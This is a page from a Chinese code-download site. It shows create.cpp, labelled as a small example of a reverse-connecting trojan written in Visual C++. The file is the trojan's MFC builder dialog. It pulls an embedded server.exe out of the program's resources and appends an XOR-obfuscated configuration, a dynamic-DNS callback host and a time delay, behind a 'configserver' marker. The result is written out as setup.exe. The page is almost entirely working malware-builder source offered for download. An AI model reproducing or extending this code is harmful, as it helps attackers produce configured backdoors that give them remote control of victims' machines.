⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 create.cpp

📁 一个用vc写的反弹式木马的小例子
💻 CPP
字号:
// Create.cpp : implementation file
//

#include "stdafx.h"
#include "MFC.h"
#include "Create.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CCreate dialog


CCreate::CCreate(CWnd* pParent /*=NULL*/)
	: CDialog(CCreate::IDD, pParent)
{
	//{{AFX_DATA_INIT(CCreate)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
}


void CCreate::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CCreate)
		// NOTE: the ClassWizard will add DDX and DDV calls here
	//}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CCreate, CDialog)
	//{{AFX_MSG_MAP(CCreate)
	ON_BN_CLICKED(IDC_CONFIG, OnConfig)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CCreate message handlers

void CCreate::OnConfig() 
{
	// TODO: Add your control notification handler code here
	HRSRC hRes = FindResource(NULL,MAKEINTRESOURCE(IDR_TEST),_T("test"));
	DWORD dwSize = SizeofResource(NULL,hRes);
	HGLOBAL MemoryHandle = LoadResource(NULL,hRes);
	BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);
	char path[256];
		GetCurrentDirectory(255,path);
		strcat(path,"\\server.exe");
		CFile file(path,CFile::modeCreate | CFile::modeWrite);
		file.Write(MemoryHandle,dwSize);
		file.Close();
	CString m_dyndns;
	CString m_timedelay;
	CString configstr;

	GetDlgItemText(IDC_DYNDNS,m_dyndns);
	GetDlgItemText(IDC_TIMEDELAY,m_timedelay);

	CopyFile("server.exe","setup.exe",false);
	FILE *fp = fopen("setup.exe", "rb+");

	
	configstr = m_dyndns + "$" + m_timedelay + "$";

	char *str = "configserver";
	char *mac = new char [256];
	char svBuffer[128];

	mac = configstr.GetBuffer(configstr.GetLength());
	jiami(mac,configstr.GetLength());
	memset(svBuffer,0,128);
		fseek(fp, 0, SEEK_END);
		strcpy(svBuffer,"configserver");
		fwrite(svBuffer, sizeof(char), 12, fp);
		fwrite(mac, sizeof(char), configstr.GetLength(), fp);
		memset(svBuffer,65,128);
		fwrite(svBuffer, sizeof(char), 116-configstr.GetLength(), fp);
		fseek(fp, 0, SEEK_END);
	fclose(fp);
	DeleteFile("server.exe");
	::MessageBox(NULL,"服务创建成功", "创建服务", MB_OK);
    //MessageBox("服务创建成功");
}

void CCreate::jiami(char *a, int len)
{

	int i;
	for(i=0;i<len;i++)
		a[i]=a[i]^1116;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -